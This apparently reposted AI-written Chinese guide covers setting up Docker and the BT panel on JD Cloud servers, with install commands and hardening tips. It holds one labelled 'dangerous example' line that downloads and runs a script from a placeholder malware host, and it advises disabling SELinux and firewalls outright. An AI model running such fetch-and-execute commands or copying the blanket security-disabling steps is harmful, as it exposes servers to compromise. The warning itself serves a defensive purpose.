在京东云(JD Cloud)服务器上安装完系统(如 CentOS 7/8、Ubuntu 20.04/22.04 等)后,无法真正实现“一键”同时安全、稳定、兼容地部署 Docker + 宝塔面板(BT Panel),原因如下:
⚠️ 重要前提提醒:
- 宝塔面板官方明确不推荐与 Docker 共存于同一台生产服务器,尤其当宝塔用于管理网站/Nginx/MySQL等服务时,Docker 容器可能占用相同端口(如 80/443/3306)、修改 iptables/firewalld 规则,导致冲突或安全风险。
- 宝塔的“Docker 管理插件”功能较弱(仅基础容器启停),远不如原生
docker cli或 Portainer;且该插件需手动安装,非默认组件。 - “一键脚本”若来自非官方渠道(如第三方 GitHub 脚本),存在高危风险(植入X_X程序、后门、恶意 cron、窃取密钥等),京东云用户已多次反馈此类问题。
✅ 正确、安全、可维护的推荐方案:
✅ 方案一:【推荐】先装宝塔,再按需安装 Docker(隔离使用)
适用于:以宝塔为主控 Web 环境,偶尔用 Docker 运行独立服务(如 Redis、MinIO、Portainer)
步骤(以 CentOS 7/8 或 Ubuntu 22.04 为例):
# 1. 更新系统 & 关闭 SELinux(CentOS)或 UFW(Ubuntu)
# CentOS:
sudo setenforce 0 && sudo sed -i 's/^SELINUX=.*/SELINUX=disabled/' /etc/selinux/config
sudo systemctl stop firewalld && sudo systemctl disable firewalld
# Ubuntu:
sudo ufw disable
# 2. 一键安装宝塔(官方最新稳定版)
curl -sSO http://download.bt.cn/install/install_6.0.sh && sudo bash install_6.0.sh
# ⏳ 安装完成后,终端会输出:
# 网络面板地址: http://你的公网IP:8888
# 用户名: xxx, 密码: xxx (请妥善保存!)
# 3. 登录宝塔面板 → 【软件商店】→ 搜索并安装:
# ✅ Nginx / Apache(选其一)
# ✅ MySQL / MariaDB
# ✅ PHP(如 8.0+)
# ✅ Pure-Ftpd(可选)
# 4. 【安全】放行宝塔端口(8888)及网站端口(80/443):
# 在京东云控制台 → 实例安全组 → 添加入方向规则:
# 端口:8888, 80, 443, 21(FTP)等
# ❌ 不要开放 22(SSH)给全网,建议限制为你的 IP
# 5. 手动安装 Docker(官方方式,安全可靠)
# 参考 Docker 官方文档(自动适配系统):
curl -fsSL https://get.docker.com | sh
sudo systemctl enable docker
sudo systemctl start docker
# 验证:
sudo docker run --rm hello-world # 应输出欢迎信息
# 6. 【可选】安装 Portainer(可视化管理 Docker)
sudo docker volume create portainer_data
sudo docker run -d
-p 9000:9000
-p 9443:9443
--name portainer
--restart=always
-v /var/run/docker.sock:/var/run/docker.sock
-v portainer_data:/data
portainer/portainer-ce:latest
# 访问:https://你的公网IP:9443(首次需设置管理员密码)
✅ 优势:宝塔负责 Web 服务编排,Docker 运行无端口冲突的独立服务(如数据库备份工具、监控 Agent、静态站点),互不干扰。
✅ 方案二:【更推荐】放弃宝塔,纯 Docker 化(现代化运维)
适用于:有基础 Linux/Docker 经验,追求轻量、安全、可复现、CI/CD 友好
# 1. 安装 Docker + Docker Compose(v2)
curl -fsSL https://get.docker.com | sh
sudo systemctl enable docker && sudo systemctl start docker
sudo curl -L "https://github.com/docker/compose/releases/download/v2.24.5/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
# 2. 用 docker-compose 一键部署 LNMP 环境(替代宝塔)
mkdir ~/lnmp && cd ~/lnmp
curl -O https://raw.githubusercontent.com/nginx-proxy/nginx-proxy/master/docker-compose.yml
# 或使用更简洁的:https://github.com/laradock/laradock(PHP 开发)
# 或:https://github.com/jwilder/nginx-proxy(反向X_X)
# 3. 启动:
docker-compose up -d
# 4. 域名解析 + HTTPS(用 nginx-proxy + letsencrypt-nginx-proxy-companion 自动签发)
✅ 优势:零宝塔依赖、资源占用低、配置版本化(Git 管理)、易于迁移/扩缩容,符合云原生最佳实践。
❌ 务必避免的“伪一键脚本”示例(危险!):
# 危险示例(切勿执行!):
wget http://xxx-malware-site.com/bt-docker-all-in-one.sh && bash bt-docker-all-in-one.sh
# 此类脚本常做:
# - 修改 root 密码并外传
# - 下载并运行加密货币X_X程序(占用 100% CPU)
# - 添加隐蔽的 SSH 后门用户
# - 替换 crontab 定期拉取恶意 payload
🔐 安全加固建议(京东云必备):
- SSH 加固:
sudo sed -i 's/#PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config sudo sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config # 修改端口 sudo systemctl restart sshd - 京东云安全组:只放行必要端口(80/443/8888/9443/2222),源 IP 严格限制。
- 定期更新:
sudo yum update -y(CentOS)或sudo apt update && sudo apt upgrade -y(Ubuntu) - 备份:宝塔自带【数据备份】功能;Docker 数据卷用
docker volume backup或 rsync 定期快照。
✅ 总结:
| 目标 | 推荐做法 |
|———————|—————————————|
| 快速建站 + 图形化管理 | ✅ 宝塔 + 手动装 Docker(隔离用途) |
| 生产环境 + 长期运维 | ✅ 纯 Docker Compose(弃用宝塔) |
| 学习/测试 | ✅ 宝塔 + Docker(但禁用宝塔内置 Docker 插件) |
如需我为你生成:
- ✅ 定制化
docker-compose.yml(LNMP/LAMP) - ✅ 宝塔 + Docker 共存的端口避让配置(如 Docker 改用 8080 映射)
- ✅ 京东云安全组规则 JSON 模板
欢迎随时告诉我你的系统版本(cat /etc/os-release)和具体需求 👇
安全第一,稳扎稳打才是云上长久之道。
CCLOUD博客